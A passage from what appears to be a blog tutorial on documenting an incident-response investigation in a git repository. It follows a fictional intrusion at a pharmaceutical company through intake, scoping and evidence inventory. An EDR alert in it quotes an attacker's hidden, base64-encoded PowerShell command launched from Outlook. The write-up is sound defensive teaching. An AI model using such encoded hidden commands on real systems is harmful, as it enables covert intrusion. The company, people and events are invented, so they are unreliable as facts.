Gets</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cf97"><strong>The Git History: What a Completed Investigation Looks Like</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5f5a"><strong>Key Lessons</strong></a></li></ol><h3>The Scenario</h3><p><strong>LifeTech Pharma Ltd.</strong> is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.</p><p>On <strong>Friday, 15 November 2024 at 18:47 IST</strong>, the on-call SOC analyst receives a CrowdStrike behavioral detection:</p><pre>ALERT: Suspicious PowerShell Activity<br>Severity: High — Behavioral IOA<br>Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]<br>Process: powershell.exe (PID 3784)<br>Parent: OUTLOOK.EXE (PID 2240)<br>CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...<br>Timestamp: 2024-11-15T18:42:33Z</pre><p>That’s the visible trigger. The actual breach started <strong>24 days earlier</strong> — and the alert is the second of two entry points, not the first.</p><h3>Step 00: Clone, Initialize, and Fill the Template</h3><p><strong>Before the phone rings.</strong> This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.</p><h4>1. Clone the repository (one-time setup)</h4><p>If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:</p><pre>cd ~<br>git clone https://github.com/anpa1200/CTI_as_a_Code.git</pre><p>You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:</p><pre>cd ~/CTI_as_a_Code &amp;&amp; git pull</pre><h4>2. Create your investigations folder</h4><pre>mkdir -p ~/investigations</pre><p>Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.</p><h4>3. Copy the reactive template for this case</h4><pre>cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11</pre><p>Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:</p><pre>ls ~/investigations/lifetech-2024-11/<br>tree ~/investigations/lifetech-2024-11/</pre><p>Expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*DR69iFmEn8s2K0zCrhXk5A.png"></figure><pre>00-scope/   01-evidence/   02-sources/   03-analysis/<br>04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/<br>README.md   intake-form.md   project.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQn6v0h7KSMb9nw5gfYp8Q.png"></figure><h4>4. Initialize git inside the case folder</h4><pre>cd ~/investigations/lifetech-2024-11<br>git init<br>git add .<br>git commit -m "PROJ-2024-001: scaffold initialized from reactive template"</pre><p>This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.</p><h4>5. Fill in project.yml</h4><p>This file is the single source of truth for project metadata. Open it now:</p><pre>nano project.yml</pre><p>The template has blank fields. Fill every one(During the investigation):</p><pre>project:<br>  id: "PROJ-2024-001"<br>  name: "LifeTech Pharma — Targeted Intrusion"<br>  type: reactive<br>  classification: TLP:AMBER<br>  status: in-progress<br>analyst:<br>  name: "Your Name"<br>  role: "CTI Analyst"<br>  contact: "your@email.com"<br>timeline:<br>  incident_date: "2024-11-15"<br>  detection_date: "2024-11-15"<br>  investigation_start: "2024-11-15"<br>  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17<br>pirs:<br>  - id: PIR-001<br>    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"<br>    priority: high<br>    status: open<br>  - id: PIR-002<br>    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"<br>    priority: high<br>    status: open<br>  - id: PIR-003<br>    question: "Is there evidence of ongoing access or persistence as of investigation date?"<br>    priority: high<br>    status: open<br>scope:<br>  systems:<br>    - WS-CFO-01<br>    - WS-IT-LEVI<br>    - SERVER-RD-02<br>    - SERVER-FIN-01<br>    - DC01<br>  threat_actor: unknown<br>  attck_techniques: []             # leave blank now - fill during R4<br>deliverables:<br>  - type: executive-brief<br>    status: pending<br>  - type: soc-handoff<br>    status: pending<br>  - type: sigma-rules<br>    count: 0<br>    status: pending<br>notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."</pre><p><strong>Do not leave any field as </strong><strong>"" or </strong><strong>[] if you know the value.</strong> Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S90ed0BEsiZXgIu4G3ia5Q.png"></figure><h4>6. Commit the filled metadata</h4><pre>git add project.yml<br>git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"</pre><p>The folder is now named, scoped, and version-controlled. The intake call can begin.</p><h3>Step 0: Intake — What the First Call Captures</h3><p>Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.</p><p>The intake captures facts that change what you look for.</p><p><strong>Open the intake form before dialing:</strong></p><pre>cp intake-form.md 00-scope/intake-2024-11-15.md<br>nano 00-scope/intake-2024-11-15.md</pre><p>The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:</p><pre># Investigation Intake — PROJ-2024-001 — 2024-11-15<br><br>Completed by: On-call CTI analyst (Yael Mizrahi)<br>Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)<br>Call time: 2024-11-15 18:55 IST<br><br>---<br><br>## 1. What was reported?<br><br>**1.1 What did you see or receive that caused you to raise this?**<br>"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —<br>PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the<br>network tab and found 3 outbound connections to 203.0.113.87 over the last 15<br>minutes. This is the CFO's machine. We escalated immediately."<br><br>**1.2 Where did this first come to your attention?**<br>- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High<br><br>**1.3 When did you first notice it?**<br>Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)<br><br>**1.4 Do you believe the activity is still ongoing?**<br>- [x] Yes — still active (C2 connections still firing at time of call)<br><br>---<br><br>## 2. What is already known?<br><br>**2.1 What systems, accounts, or services appear to be involved?**<br>- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.<br>- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.<br>- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.<br>- No other hosts identified yet — investigation is 8 minutes old.<br><br>**2.2 What was the observed behavior?**<br>"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded<br>command has not been decoded yet. Three separate TCP connections to 203.0.113.87<br>on port 443 over 15 minutes — looks like a beacon pattern."<br><br>**2.3 Has anyone else already investigated or looked into this?**<br>- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).<br>  What did they touch: read-only Splunk queries. No changes to the endpoint.<br><br>**2.4 What do you think happened?**<br>"Probably a phishing email with a malicious attachment — xlsm macro or something<br>similar. Michal must have opened it in the last few hours. We don't know if anyone<br>else was targeted."<br><br>---<br><br>## 3. Timeline of discovery<br><br>**3.1 When do you believe the activity started?**<br>- [ ] Known<br>- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell<br>  launch timestamp from CrowdStrike event).<br><br>**3.2 How long do you estimate the activity has been occurring?**<br>Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).<br>However: unknown whether this is the beginning of the intrusion or a later stage.<br><br>**3.3 Is there a specific event that triggered the alert or complaint?**<br>CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated<br>at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.<br><br>---<br><br>## 4. What has already been done?<br><br>**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**<br>- [x] No — WS-CFO-01 is still running. Not yet isolated.<br><br>**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**<br>- [x] No — no credential changes made yet.<br><br>**4.3 Has any network access been blocked or firewall rules been changed?**<br>- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check<br>  with you first before blocking — didn't want to tip them off."<br><br>**4.4 Has any malware been deleted or quarantined?**<br>- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,<br>  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).<br><br>**4.5 Has anyone notified external parties?**<br>- [x] No — no external notification yet. INCD assessment pending scope confirmation.<br><br>---<br><br>## 5. Systems and access<br><br>**5.1 What logging is expected to exist for the affected systems?**<br>- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on<br>  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.<br>- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.<br>- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).<br>- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.<br>  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.<br>- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.<br>  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.<br>- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.<br><br>**5.2 What tools and access does the analyst have?**<br>- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)<br>- [x] Read access to SIEM (Splunk — full org)<br>- [x] Access to EDR console (CrowdStrike Falcon — full org view)<br>- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)<br>- [x] Access to cloud console (Azure AD — Security Reader role)<br>- [x] Access to email gateway (M365 Security &amp; Compliance — Message Trace)<br>- [ ] VPN / jump host credentials — not yet, request submitted<br>- [x] TheHive / OpenCTI lab access<br><br>**5.3 Are there any systems the analyst should NOT touch?**<br>⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.<br>  HR investigation underway — UNRELATED to this incident (employment matter).<br>  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).<br>  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.<br>  No memory image, no disk image, no physical access until hold lifted.<br><br>---<br><br>## 6. Business impact<br><br>**6.1 What business processes are affected or at risk?**<br>"The CFO's email and workstation are involved. If this is a full compromise, finance<br>data is at risk. We also have R&amp;D server SERVER-RD-02 — it holds the formula files<br>for the US licensing deal. That deal closes in 6 weeks. If those files were touched,<br>we have an FDA NDA issue and a $52M deal at risk."<br><br>**6.2 Is customer data, employee data, or regulated data potentially involved?**<br>- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,<br>  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path<br>  extended to finance server.<br><br>**6.3 What is the financial exposure if this is confirmed?**<br>Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy<br>Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US<br>partner disclosure obligation if formula data confirmed exfiltrated.<br><br>**6.4 Is there a hard deadline driving this investigation?**<br>- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of<br>  breach (not discovery of alert). If formula data or critical infrastructure<br>  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.<br><br>---<br><br>## 7. Regulatory and legal constraints<br><br>**7.1 Are there applicable notification requirements?**<br><br>| Regulation | Applicable? | Deadline | Notified? |<br>|---|---|---|---|<br>| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |<br>| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |<br>| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |<br>| GDPR | TBD — EU customers in export data? | 72h from awareness | No |<br>| PCI-DSS | No — no card processing at LifeTech | — | N/A |<br>| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |<br>| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |<br><br>**7.2 Is there an active legal hold on any systems or data?**<br>- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.<br>  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.<br><br>**7.3 Has legal counsel been notified?**<br>- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.<br>  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.<br><br>---<br><br>## 8. Analyst notes<br><br>(Raw notes taken during call — unprocessed)<br><br>- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"<br>  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might<br>  reboot the machine.<br>- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).<br>  This is why the process was not killed automatically. SOC should evaluate<br>  moving to Prevent for exec machines after this incident.<br>- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our<br>  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).<br>- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have<br>  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.<br>- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the<br>  formula file risk yet. Will scope that separately after evidence inventory.<br>- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold<br>  is coincidental. However: IT admin access + legal hold + security incident<br>  creates a complex situation. Document carefully.<br><br>---<br><br>## 9. Next actions<br><br>| # | Action | Owner | Due |<br>|---|---|---|---|<br>| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |<br>| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |<br>| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |<br>| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |<br>| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |<br>| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |<br>| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |<br>| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |<br><br>---<br><br>*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*<br>*Case opened in TheHive: PROJ-2024-001.*<br>```<br><br>Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.<br><br>The intake commits to git first:</pre><p>Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.</p><p>The intake commits to git first:</p><pre>git add 00-scope/intake-2024-11-15.md<br>git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"</pre><h3>Step 1–2: Project Setup and Scope</h3><p>The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: <strong>you do not start looking at logs until the scope is committed.</strong></p><h4>1. Open the scope document</h4><pre>nano 00-scope/scope.md</pre><pre># Intelligence Source Registry<br><br>**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion<br><br>Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  <br>Information reliability: 1 (confirmed) – 6 (truth cannot be judged).<br><br>---<br><br>## Internal Sources<br><br>| ID | Source | Type | Admiralty | Notes |<br>|---|---|---|---|---|<br>| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |<br>| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&amp;D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |<br>| INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |<br>| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |<br>| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |<br>| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |<br>| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |<br>| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |<br>| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |<br><br>---<br><br>## External / OSINT Sources<br><br>| ID | Source | Type | Admiralty | TLP | Notes |<br>|---|---|---|---|---|---|<br>| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |<br>| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |<br>| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |<br>| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |<br>| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |<br><br>---<br><br>## Source Limitations<br><br>| Source | Known Limitation |<br>|---|---|<br>| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |<br>| CrowdStrike Falcon (INT-002) | Not deployed on R&amp;D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |<br>| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |<br>| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |<br>| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |<br>| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |<br>| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |<br>| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |</pre><p>The template has six sections. Fill each one now:</p><p><strong>Header — fill the four metadata lines at the top:</strong></p><pre>Project: PROJ-2024-001<br>Classification: TLP:AMBER<br>Date scoped: 2024-11-15<br>Scoped by: [your name]<br>Approved by: Noa Ben-David, IR Lead</pre><p><strong>Incident Summary — one paragraph, what triggered this:</strong></p><pre>CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.<br>PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from<br>203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are<br>potentially in scope — US licensing deal ($52M) requires regulatory assessment.</pre><p><strong>In Scope — fill the asset table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCTpI5jIcRRkQ2YqjL8LgQ.png"></figure><p><strong>Out of Scope — fill the exclusion table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9YT7xlqBXmn_mRAm67QwA.png"></figure><p><strong>PIRs — copy from project.yml, add due dates:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fz8_y2Mq8glncIY5VHdEMA.png"></figure><p><strong>Constraints and Assumptions — fill the four fields:</strong></p><pre>Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.<br>  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.<br>Evidence limitations: Palo Alto firewall logs — 14-day retention.<br>  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.<br>  Sysmon absent from all server-class machines.<br>Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.<br>Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.</pre><p><strong>Definition of Done — check the boxes your team has agreed to:</strong></p><pre>- [ ] All PIRs answered or formally deferred with reasoning<br>- [ ] Timeline covers full attacker dwell period (or gap documented)<br>- [ ] ATT&amp;CK mapping reviewed and finalized<br>- [ ] At least one detection rule per confirmed TTP<br>- [ ] SOC handoff delivered and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data confirmed</pre><p>Full scope.md:</p><pre># Scope Definition<br><br>**Project:** PROJ-2024-001<br>**Classification:** TLP:AMBER<br>**Date scoped:** 2024-11-15<br>**Scoped by:** Yael Mizrahi (CTI Analyst)<br>**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST<br><br>---<br><br>## Incident Summary<br><br>CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on<br>2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound<br>C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of<br>compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator<br>of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,<br>47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,<br>FDA NDA obligations). INCD 72h notification clock assessed as active from time of<br>discovery.<br><br>---<br><br>## In Scope<br><br>| Asset / System | Owner | Justification |<br>|---|---|---|<br>| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |<br>| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |<br>| SERVER-RD-02.lifetechpharma.local | R&amp;D Dept | Formula file storage — PIR-001 primary asset |<br>| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |<br>| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |<br>| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |<br>| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |<br>| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |<br><br>---<br><br>## Out of Scope<br><br>| Asset / System | Reason for Exclusion |<br>|---|---|<br>| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |<br>| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |<br>| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |<br>| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |<br><br>---<br><br>## Priority Intelligence Requirements (PIRs)<br><br>| ID | Question | Priority | Due | Status |<br>|---|---|---|---|---|<br>| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |<br><br>---<br><br>## Constraints and Assumptions<br><br>- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17<br>  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data<br>  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed<br>  exfiltrated — no specific deadline but immediate notification is standard practice.<br>- **Evidence limitations:**<br>  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6<br>    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**<br>  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).<br>  - CrowdStrike NOT deployed on R&amp;D server fleet (12 servers) or DC01.<br>  - DC01 Windows Security log: only partial export available — full log inaccessible.<br>  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.<br>- **Access restrictions:**<br>  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted<br>    with full session logging. Contact Adv. Dina Shapiro before any exception.<br>  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).<br>- **Assumptions:**<br>  - All log timestamps assumed UTC unless explicitly marked IST in source.<br>  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).<br>  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.<br><br>---<br><br>## Stakeholders<br><br>| Name | Role | Involvement |<br>|---|---|---|<br>| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |<br>| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |<br>| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |<br>| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |<br>| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |<br><br>---<br><br>## Definition of Done<br><br>This investigation is complete when:<br><br>- [ ] All three PIRs answered or formally deferred with documented reasoning<br>- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)<br>- [ ] ATT&amp;CK mapping completed and reviewed — all confirmed techniques have a gap type<br>- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap<br>- [ ] SOC handoff document delivered to Ran Katz and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)<br>- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)<br>- [ ] project.yml status set to `closed` and all PIR statuses updated</pre><h4>2. Save the file and commit</h4><pre>git add 00-scope/scope.md<br>git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"</pre><p><strong>The firewall log retention deadline drives everything.</strong> SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.</p><h3>Step R1: Evidence Inventory — What Exists and What Is Missing</h3><p>The evidence inventory runs before analysis. The rule: <strong>you do not analyze what you have not inventoried.</strong></p><h4>1. Open the source registry</h4><pre>nano 02-sources/source-registry.md</pre><p>The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.</p><h4>2. Fill in what you have</h4><p>For each log source, fill four fields: <strong>Source name</strong>, <strong>System(s) it covers</strong>, <strong>Admiralty reliability rating</strong>, and <strong>any known gap</strong>. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.</p><p>For LifeTech, the completed source registry drives this inventory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mt6DCDNVu6YThxF6WCowcg.png"></figure><p><strong>GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024</strong></p><pre>Duration: 10 days<br>Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with<br>  the day the IT admin received a phishing email.<br>What is missing: process creation (EID 1), network connections (EID 3),<br>  file creation (EID 11) for this host during this entire window.<br>Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI<br>  between Oct 22 and Nov 1. All claims about this period are INFERRED<br>  or HYPOTHESIZED unless supported by alternative sources (VPN logs,<br>  DC authentication logs, firewall flows).<br>Possible cause: Deliberate anti-forensic technique — terminating Sysmon<br> 